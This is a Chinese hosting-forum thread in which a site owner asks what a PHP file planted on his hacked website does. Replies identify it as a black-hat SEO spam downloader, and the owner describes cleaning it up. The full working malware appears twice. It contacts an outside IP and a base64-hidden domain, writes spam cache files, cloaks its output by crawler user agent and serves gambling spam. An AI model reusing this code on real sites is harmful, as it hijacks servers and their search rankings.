全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 2089|回复: 9
打印 上一主题 下一主题

[lighttpd] 网站被挂马了。这段代码什么意思

[复制链接]
跳转到指定楼层
1#
发表于 2016-9-8 10:21:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天查看一个很久没管的网站,发现百度site出来多一个文件夹,都是菠菜站,上FTP一看,单独一个文件夹,有个PHP文件,代码如下,是不是删除这个文件夹就可以了???
这个是用的虚拟主机,WIN2003的
<?php
define('s_u','http://108.186.234.233/');
define('m_i','1');
define('h_t',$_SERVER['SERVER_NAME']);
define('s_s','@Googlebot|EmbeddedWB|yahoo|MJ12bot|AhrefsBot|BLEXBot|EasouSpider|YandexBot|Exabot@i');
function r_k($l){$ch = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9');$str='';for ($i = 0;$i <$l;$i++) {$str .= $ch[mt_rand(0,35)];}return $str;}
function g_c($url){$ch = curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,10);curl_setopt ($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");return curl_exec($ch);}
class d58Cache {private $_unitNum = 999;private $_unitFloor = 3; private $_pix = '_';private $_now = 0;public $baseDir = ''; public $dirMode = 0777;
public function __construct($baseDir = null) {
if ($baseDir) {
$this->baseDir = $baseDir;} else {$this->baseDir = dirname(__FILE__) . DIRECTORY_SEPARATOR . '_Data';}if ($_SERVER['REQUEST_TIME']) {$this->_now = $_SERVER['REQUEST_TIME'];} else {$this->_now = time();}}public function isExists($id, $timeout = 0, $isCreate = false) {$file = $this->hashId($id);if (!is_file($file)) {if (is_file($file . '.lock')) {return 'LOCKED';}return false;}return true;}public function set($id, $data = null) {return $this->_writeFile($this->hashId($id), $this->_encode($data));}public function get($id, $lockread = false) {return $this->_decode($this->_readFile($this->hashId($id), $lockread));}public function del($id) {return $this->_deleteFile($this->hashId($id));}public function hashId($id) {if (!is_numeric($id)) {$id = $this->enId($id);$notNum = 'a'; }$id = $tid = $id;$hash = '';$pow = 0;for ($i = $this->_unitFloor; $i ; $i--) {$pow = pow($this->_unitNum, $i);$unit = floor($tid / $pow);if ($unit > $this->_unitNum) {$unit = $this->_unitNum;}$hash .= $this->_pix . $unit . DIRECTORY_SEPARATOR;$tid = $tid - $unit * $pow;}unset($pow, $tid, $unit, $i);return $this->baseDir . DIRECTORY_SEPARATOR . $hash . ($notNum) . $id . '.txt';}public function enId($data) {return sprintf('%011u', crc32($data));}private function _encode($data) {$array = array('source' => $data);return '<?php die(\'Cache Page by d58Cache.\') ?>' . serialize($array);}protected function _decode($data) {$array = unserialize($data);return $array['source'];}protected function _writeFile($file, $data) {$dir = dirname($file);if (!is_dir($dir)) {mkdir($dir, $this->dirMode, true);}if (!is_file($file) && is_file($file . '.lock')){return false;}$mqr = get_magic_quotes_runtime();set_magic_quotes_runtime(0);$re = @ file_put_contents($file, $data, LOCK_EX); set_magic_quotes_runtime($mqr);return $re;}protected function _readFile($file, $lockread = false) {if (!is_file($file)){if (!$lockread) {return false;}$file .= '.lock'; if (!is_file($file)) {return false;}}return file_get_contents($file, null, null, 39);}protected function _deleteFile($file) {if (is_file($file)){return unlink($file);}return false;}public function lock($id) {$file = $this->hashId($id);if (!is_file($file) && is_file($file . '.lock')){return true;}return rename($file, $file . '.lock');}public function unlock($id) {$file = $this->hashId($id);if (is_file($file) && !is_file($file . '.lock')){return true;}return rename( $file . '.lock', $file);}}
function s_p(){$d='';if(isset($_SERVER['REQUEST_URI'])){$d=$_SERVER['REQUEST_URI'];}else{if(isset($_SERVER['argv'])){$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];}else{$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];}}if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){if(function_exists('mb_convert_encoding')){$d=mb_convert_encoding($d,'UTF-8','GBK');}else{$d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$diconv('GBK','UTF-8',$d);}}$r=explode('#',$d,2);$d=$r[0];return $d;}function r_l(){return "?".r_k(4).'/'.r_k(mt_rand(4,6)).'.html';}
set_time_limit(20);error_reporting(0);function r_c(){global $b1,$b1s;return trim($b1[mt_rand(0,$b1s)]);}
define('r_s',$_SERVER['HTTP_REFERER']);define('u_s',$_SERVER['HTTP_USER_AGENT']);
if(preg_match(s_s,u_s)){
header('HTTP/1.1 503 Service Temporarily Unavailable');
echo '对不起,页面维护中,请稍后访问!';
die;
}else {
header('HTTP/1.1 200 OK');
$cache = new d58Cache();
$_pa=explode('/',$_SERVER['PHP_SELF']);
$_mp=str_replace(end($_pa),'',$_SERVER['PHP_SELF']);
define('m_l',$_mp);
define('h_z',s_p());
$m_d=md5(h_z);if ($cache -> isExists($m_d)){$d_c = $cache -> get($m_d);}else{$d_u=s_u.'?mi='.m_i.'&xu='.bin2hex(h_z);$d_u.='&xh='.bin2hex(h_t);$d_u.='&ml='.bin2hex(m_l);$d_c=g_c($d_u);if(!stristr(h_z,"sitemap.")) $cache -> set($m_d,$d_c);}
if(!is_file("b.txt")){$btdb=g_c("http://s1".base64_decode("LmQ1OC5uZXQvcy8=")."getbt.php");if(!$btdb) $btdb=g_c("http://s2".base64_decode("LmQ1OC5uZXQvcy8=")."/getbt.php");
if(trim($btdb)){$bts=fopen("b.txt","w");fwrite($bts,trim(mb_convert_encoding($btdb,'gbk','utf-8')));fclose($bts);}}
$b1=file('b.txt');$b1s=ceil(count($b1)-1);$d_c=preg_replace_callback("/{link}/iUs", "r_l",$d_c);$d_c=preg_replace_callback("/{name}/iUs", "r_c",$d_c);echo $d_c;}
?>
推荐
发表于 2016-9-8 11:13:18 | 只看该作者
排了半天的版。。为毛最后多个括号
  1. <?php
  2. define('s_u','http://108.186.234.233/');
  3. define('m_i','1');
  4. define('h_t',$_SERVER['SERVER_NAME']);
  5. define('s_s','@Googlebot|EmbeddedWB|yahoo|MJ12bot|AhrefsBot|BLEXBot|EasouSpider|YandexBot|Exabot@i');

  6.         function r_k($l){
  7.                 $ch = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9');
  8.                 $str='';
  9.                 for ($i = 0;$i <$l;$i++) {
  10.                         $str .= $ch[mt_rand(0,35)];
  11.                 }return $str;
  12.         }

  13.         function g_c($url){
  14.                 $ch = curl_init();
  15.                 curl_setopt ($ch, CURLOPT_URL, $url);
  16.                 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  17.                 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,10);
  18.                 curl_setopt ($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
  19.                 return curl_exec($ch);
  20.         }

  21. class d58Cache {
  22.         private $_unitNum = 999;
  23.         private $_unitFloor = 3;
  24.         private $_pix = '_';
  25.         private $_now = 0;
  26.         public $baseDir = '';
  27.         public $dirMode = 0777;

  28.         public function __construct($baseDir = null) {
  29.                 if ($baseDir) {
  30.                         $this->baseDir = $baseDir;
  31.                 } else {
  32.                         $this->baseDir = dirname(__FILE__) . DIRECTORY_SEPARATOR . '_Data';
  33.                 }
  34.                 if ($_SERVER['REQUEST_TIME']) {
  35.                         $this->_now = $_SERVER['REQUEST_TIME'];
  36.                 } else {
  37.                         $this->_now = time();
  38.                 }
  39.         }

  40.         public function isExists($id, $timeout = 0, $isCreate = false) {
  41.                 $file = $this->hashId($id);
  42.                 if (!is_file($file)) {
  43.                         if (is_file($file . '.lock')) {
  44.                                 return 'LOCKED';
  45.                         }
  46.                         return false;
  47.                 }
  48.                 return true;
  49.         }

  50.         public function set($id, $data = null) {
  51.                 return $this->_writeFile($this->hashId($id), $this->_encode($data));
  52.         }

  53.         public function get($id, $lockread = false) {
  54.                 return $this->_decode($this->_readFile($this->hashId($id), $lockread));
  55.         }

  56.         public function del($id) {
  57.                 return $this->_deleteFile($this->hashId($id));
  58.         }

  59.         public function hashId($id) {
  60.                 if (!is_numeric($id)) {
  61.                         $id = $this->enId($id);
  62.                         $notNum = 'a';
  63.                 }
  64.                 $id = $tid = $id;
  65.                 $hash = '';
  66.                 $pow = 0;
  67.                 for ($i = $this->_unitFloor; $i ; $i--) {
  68.                         $pow = pow($this->_unitNum, $i);
  69.                         $unit = floor($tid / $pow);
  70.                         if ($unit > $this->_unitNum) {
  71.                                 $unit = $this->_unitNum;
  72.                         }
  73.                         $hash .= $this->_pix . $unit . DIRECTORY_SEPARATOR;
  74.                         $tid = $tid - $unit * $pow;
  75.                 }
  76.                 unset($pow, $tid, $unit, $i);
  77.                 return $this->baseDir . DIRECTORY_SEPARATOR . $hash . ($notNum) . $id . '.txt';
  78.         }

  79.         public function enId($data) {
  80.                 return sprintf('%011u', crc32($data));
  81.         }

  82.         private function _encode($data) {
  83.                 $array = array('source' => $data);
  84.                 return '<?php die(\'Cache Page by d58Cache.\') ?>' . serialize($array);
  85.         }

  86.         protected function _decode($data) {
  87.                 $array = unserialize($data);
  88.                 return $array['source'];
  89.         }

  90.         protected function _writeFile($file, $data) {
  91.                 $dir = dirname($file);
  92.                 if (!is_dir($dir)) {
  93.                         mkdir($dir, $this->dirMode, true);
  94.                 }
  95.                 if (!is_file($file) && is_file($file . '.lock')){
  96.                         return false;
  97.                 }
  98.                 $mqr = get_magic_quotes_runtime();
  99.                 set_magic_quotes_runtime(0);
  100.                 $re = @ file_put_contents($file, $data, LOCK_EX);
  101.                 set_magic_quotes_runtime($mqr);return $re;
  102.         }

  103.         protected function _readFile($file, $lockread = false) {
  104.                 if (!is_file($file)){
  105.                         if (!$lockread) {
  106.                         return false;
  107.                         }
  108.                 $file .= '.lock';
  109.                 if (!is_file($file)) {
  110.                         return false;
  111.                         }
  112.                 }
  113.                 return file_get_contents($file, null, null, 39);
  114.         }

  115.         protected function _deleteFile($file) {
  116.                 if (is_file($file)){
  117.                         return unlink($file);
  118.                 }
  119.                 return false;
  120.         }

  121.         public function lock($id) {
  122.                 $file = $this->hashId($id);
  123.                 if (!is_file($file) && is_file($file . '.lock')){
  124.                         return true;
  125.                 }
  126.                 return rename($file, $file . '.lock');
  127.         }

  128.         public function unlock($id) {
  129.                 $file = $this->hashId($id);
  130.                 if (is_file($file) && !is_file($file . '.lock')){
  131.                         return true;
  132.                 }
  133.                 return rename( $file . '.lock', $file);
  134.         }
  135. }

  136. function s_p(){
  137.         $d='';
  138.         if(isset($_SERVER['REQUEST_URI'])){
  139.                 $d=$_SERVER['REQUEST_URI'];
  140.         }
  141.         else{
  142.                 if(isset($_SERVER['argv'])){
  143.                         $d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
  144.                 }else{
  145.                         $d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
  146.                 }
  147.         }
  148.         if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){
  149.                 if(function_exists('mb_convert_encoding')){
  150.                         $d=mb_convert_encoding($d,'UTF-8','GBK');
  151.                 }else{
  152.                         $d=@iconv('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$diconv('GBK','UTF-8',$d);
  153.                 }
  154.         }
  155.         $r=explode('#',$d,2);
  156.         $d=$r[0];return $d;
  157. }

  158.         function r_l(){
  159.                 return "?".r_k(4).'/'.r_k(mt_rand(4,6)).'.html';
  160.         }

  161.         set_time_limit(20);
  162.         error_reporting(0);

  163.         function r_c(){
  164.                 global $b1,$b1s;
  165.                 return trim($b1[mt_rand(0,$b1s)]);
  166.         }

  167.         define('r_s',$_SERVER['HTTP_REFERER']);
  168.         define('u_s',$_SERVER['HTTP_USER_AGENT']);

  169.         if(preg_match(s_s,u_s)){
  170.                 header('HTTP/1.1 503 Service Temporarily Unavailable');
  171.                 echo '对不起,页面维护中,请稍后访问!';
  172.                 die;
  173.         }else {
  174.                 header('HTTP/1.1 200 OK');
  175.                 $cache = new d58Cache();
  176.                 $_pa=explode('/',$_SERVER['PHP_SELF']);
  177.                 $_mp=str_replace(end($_pa),'',$_SERVER['PHP_SELF']);
  178.                 define('m_l',$_mp);
  179.                 define('h_z',s_p());
  180.                 $m_d=md5(h_z);
  181.                 if ($cache -> isExists($m_d)){
  182.                         $d_c = $cache -> get($m_d);
  183.                 }else{
  184.                         $d_u=s_u.'?mi='.m_i.'&xu='.bin2hex(h_z);
  185.                         $d_u.='&xh='.bin2hex(h_t);
  186.                         $d_u.='&ml='.bin2hex(m_l);
  187.                         $d_c=g_c($d_u);
  188.                         if(!stristr(h_z,"sitemap.")) $cache -> set($m_d,$d_c);
  189.                 }

  190.         if(!is_file("b.txt")){
  191.                 $btdb=g_c("http://s1".base64_decode("LmQ1OC5uZXQvcy8=")."getbt.php");
  192.                 if(!$btdb) $btdb=g_c("http://s2".base64_decode("LmQ1OC5uZXQvcy8=")."/getbt.php");
  193.                 if(trim($btdb)){
  194.                         $bts=fopen("b.txt","w");
  195.                         fwrite($bts,trim(mb_convert_encoding($btdb,'gbk','utf-8')));
  196.                         fclose($bts);
  197.                 }
  198.         }

  199.         $b1=file('b.txt');
  200.         $b1s=ceil(count($b1)-1);
  201.         $d_c=preg_replace_callback("/{link}/iUs", "r_l",$d_c);
  202.         $d_c=preg_replace_callback("/{name}/iUs", "r_c",$d_c);
  203.         echo $d_c;
  204.         }
  205. ?>
复制代码

点评

66666666  发表于 2016-9-8 12:42
2#
发表于 2016-9-8 10:41:14 | 只看该作者
对PHP看不懂
3#
发表于 2016-9-8 10:43:49 | 只看该作者
黑帽吧,下载者,会在你网站目录下生成他们需要的文件 应该
5#
 楼主| 发表于 2016-9-8 11:16:32 | 只看该作者
fgpgy 发表于 2016-9-8 10:43
黑帽吧,下载者,会在你网站目录下生成他们需要的文件 应该

正在删除,几万个TXT文档  囧
6#
发表于 2016-9-8 11:25:30 | 只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
7#
发表于 2016-9-8 11:25:48 | 只看该作者
s1点d58点net/s/getbt.php
好多文章标题.
9#
 楼主| 发表于 2016-9-8 15:12:42 | 只看该作者

嗯  应该是的     我说以前排名挺好的没注意怎么没排名了

一堆目录菠菜
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2025-11-4 05:06 , Processed in 0.082585 second(s), 17 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表